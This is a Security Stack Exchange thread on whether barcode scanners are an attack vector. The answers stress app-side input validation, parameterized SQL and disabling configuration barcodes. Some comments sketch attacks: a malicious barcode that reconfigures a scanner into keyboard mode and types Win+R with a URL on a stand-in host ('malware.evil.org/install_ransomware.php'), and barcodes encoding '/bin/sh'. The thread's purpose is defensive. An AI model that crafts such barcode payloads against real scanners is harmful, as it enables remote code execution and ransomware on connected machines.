31

I was watching a defcon video a couple of weeks ago where a guy was demonstrating how barcode readers were generally quite easy to hack. He went on to say things such as with most systems the input isn't sanitised (sounds similar to SQL injection) and that most of them were configurable by bar codes easily obtained by the manufacturer. Combined with the fact that a machine can quickly be configured to read all types of barcodes including the ones that can store in excess of 1000 characters, are barcodes a vulnerability? And how could one prevent this?

So far the possible vulnerabilities I can see are SQL injection and buffer overflows.

Anders
  • 64,406
  • 24
  • 178
  • 215
Rob Dawson
  • 1,186
  • 1
  • 12
  • 16
  • 2
    Not a duplicate, but relevant: http://security.stackexchange.com/questions/127942/how-can-i-prevent-myself-from-barcode-payload-attacks – Anders Nov 25 '16 at 15:55
  • 1
    Is this the video you were talking about? Even if it isn't, good watch for those who are interested https://www.youtube.com/watch?v=qT_gwl1drhc – The6P4C Nov 28 '16 at 00:35
  • @The6P4C that was it! It's kind of funny how Australia post doesn't have an explicit way of checking whether you've paid – Rob Dawson Nov 28 '16 at 01:57
  • @Mark thanks for bringing up the keyboard point. I have personally created barcodes with simple "barcode generator" apps for things like ```/bin/sh``` and the shell will indeed execute the command. I have not successfully convinced one to execute arbitrary byte code payloads or anything. But can confirm the keyboard point. – eulerworks Nov 28 '16 at 03:57

4 Answers4

44

Yes, barcode scanners present a potential vulnerability. You need to prevent attacks from this vector in the same way you'd prevent attacks from any input vector, such as a network connection or a keyboard.

  1. Validate inputs in the app, not the scanner. Do not rely on configuring the scanner to only deliver 12 digit UPC-A barcodes. As every web app developer quickly learns, trusting the client to perform input sanitization is a giant security hole. Use length checks in the app to ensure that buffer overflows can't be exploited. Perform white-listing value checks to make sure you don't have out-of-bounds characters (for example, if you're expecting the user to scan only a product UPC-A or EAN-13 barcode, you should throw an exception if the input detects any non-digit values.)

  2. Code defensively. Just as with a web app, you need to make secure coding choices such as parameterized SQL. You should already be doing this to protect against keyboard-entered SQL injection attacks; barcodes are nothing special here.

  3. Harden your devices. Most barcode scanners are initially configured by scanning a series of special manufacturer provided barcodes (your scanners' documentation will describe these symbols.) Read the scanners' documentation to find the way to configure the scanners from the host computer via the data connection. Once you can configure the scanners from the computer, do so. Among the configuration items to set, you should disable the scanner's ability to read the configuration barcodes.

Giacomo1968
  • 1,185
  • 5
  • 16
John Deters
  • 33,650
  • 3
  • 57
  • 110
  • 2
    While I agree, I'd extend "Step 1" to **also** validate input in the scanner, everything that interprets inputs needs them validated, and the first piece of the chain is the scanning/parsing of barcode itself. – domen Nov 25 '16 at 14:33
  • 3
    @domen, most input can't be validated in the scanner - QR, Code-128, 3 of 9, and many more are all-purpose symbologies where no input is invalid. The scanner internally needs to be coded to be attack resistant, but that's a problem for the scanner's firmware author. – John Deters Nov 25 '16 at 14:43
  • @JohnDeters right, only validating the data at the levels it's used. From a quick glance a potentially interesting case in Code-128 is 211133 encoded forwards and backwards. Also buffer sizes (for buffer overflows and also integer overflows). – domen Nov 25 '16 at 15:38
  • 1
    I disagree on point #3. Your code should be safe against whatever the scanner can dish out. At that point hardening the scanner provides no more security. However, relying on the scanner configuration for safety leaves you open when the scanner breaks and a new one is quickly configured and stuck on--and that's what's likely to happen when the production environment goes down due to a broken scanner. – Loren Pechtel Nov 26 '16 at 11:22
  • 1
    Just hope that your barcode scanner isn't connected *to* a web application, via a browser, because some of them can be made to produce arbitrary key presses which may be used to make the browser do funny things (open the developer console and perform "XSS" maybe)? – Matti Virkkunen Nov 26 '16 at 11:59
  • 1
    @MattiVirkkunen, it's worse than that. Malicious barcodes can reconfigure the scanner to be a keyboard, and then another barcode's input is treated like keys. This barcode can send +R followed by anything the attacker wants to open, including a URL to malware. – John Deters Nov 26 '16 at 14:36
  • @JohnDeters So barcode scanners always respond to configuration barcodes? They don't have to be switched to a special configuration mode for the configuration barcodes to work? – Andy Nov 26 '16 at 15:05
  • 1
    @Andy, almost all scanners are put into configuration mode with a barcode. This is by design, because the scanner makers then don't have to include host specific configuration software. They just print them in the user manual. Some scanners can have this config barcode disabled, but some can't. – John Deters Nov 26 '16 at 15:19
  • @JohnDeters I see. Simplicity is the ultimate sophistication...except in computing, where it's the ultimate security hole :) – Andy Nov 26 '16 at 16:22
  • 1
    Also, sometimes barcodes are used to encode, for example, an amount of currency, and if so, real receipts can possibly be modified to pay out a different amount than what was intended. Saw that in a defcon video on barcode hacking. – phyrfox Nov 26 '16 at 21:54
  • @phyrfox, great point. Barcodes are not secure against duplication or tampering, and should never be trusted with anything more significant than a license plate or lookup function (and even these uses can be subverted.) They definitely should not directly encode "value", although all UPC/GS1 coupons do contain value - by definition! – John Deters Nov 28 '16 at 17:22
  • 1
    @LorenPechtel, point #3 is to defend against people trying to reconfigure the scanner, because a reconfigured scanner can deliver more than just application data. As I mentioned above, many scanners can be reconfigured (using barcodes) to act as a USB HID keyboard, at which point the scanner is disconnected from the application, and connected straight to the OS instead. From there, a compromised scanner becomes exactly as evil a USB Rubber Ducky. – John Deters Nov 28 '16 at 17:35
16

Many barcode scanners are treated by the operating system as a type of keyboard. This gives them exactly the same attack surface as somebody typing in the barcode's information at the keyboard. As an extreme example, a barcode scanner that understands byte-mode PDF 417 or binary QR code could command the computer to exit the current program, launch Internet Explorer, download a program from the website of the attacker's choice, and run that program.

Mark
  • 34,390
  • 9
  • 85
  • 134
  • 8
    That's just straight out dangerous... – Rob Dawson Nov 26 '16 at 01:17
  • 1
    Mark's point is why I said to harden the device. Let's say you limit the scanner to UPC-A only. By presenting the right sequence of configuration barcodes, the attacker can reconfigure the scanner to accept byte-mode PDF 417, and to act as a keyboard instead of a USB device. Finally, he sends the keystroke sequence +R http :// malware.evil.org / install_ransomware.php . Game over. – John Deters Nov 26 '16 at 02:03
  • This sounds like it has great potential to make a sort of obfuscated code contest – Andy Nov 26 '16 at 15:09
2

Barcode is just a representation of input.

are barcodes a vulnerability? could be written as are inputs a vulnerability?. In itself no, but it's an attack vector.

Barcodes normally encode numerical, string or binary data. In addition to how that data can be used for exploitation at different levels (you mention buffer overflow, but it goes way up the software chain - barcodes can include URLs that are interpreted by OS/browser, and later by software on server side), also consider the parsing of barcodes itself, which might contain out of bounds accesses, overflows etc.

Prevention? As always, input validation an sanitation.

domen
  • 1,040
  • 10
  • 21
0

Without input validation everything is a possible attack vector. I even heard about a SQLI using number plates as the input source. When programming a speed camera, nobody would think of such a crazy idea, and that's the problem!

licklake
  • 1,032
  • 1
  • 9
  • 22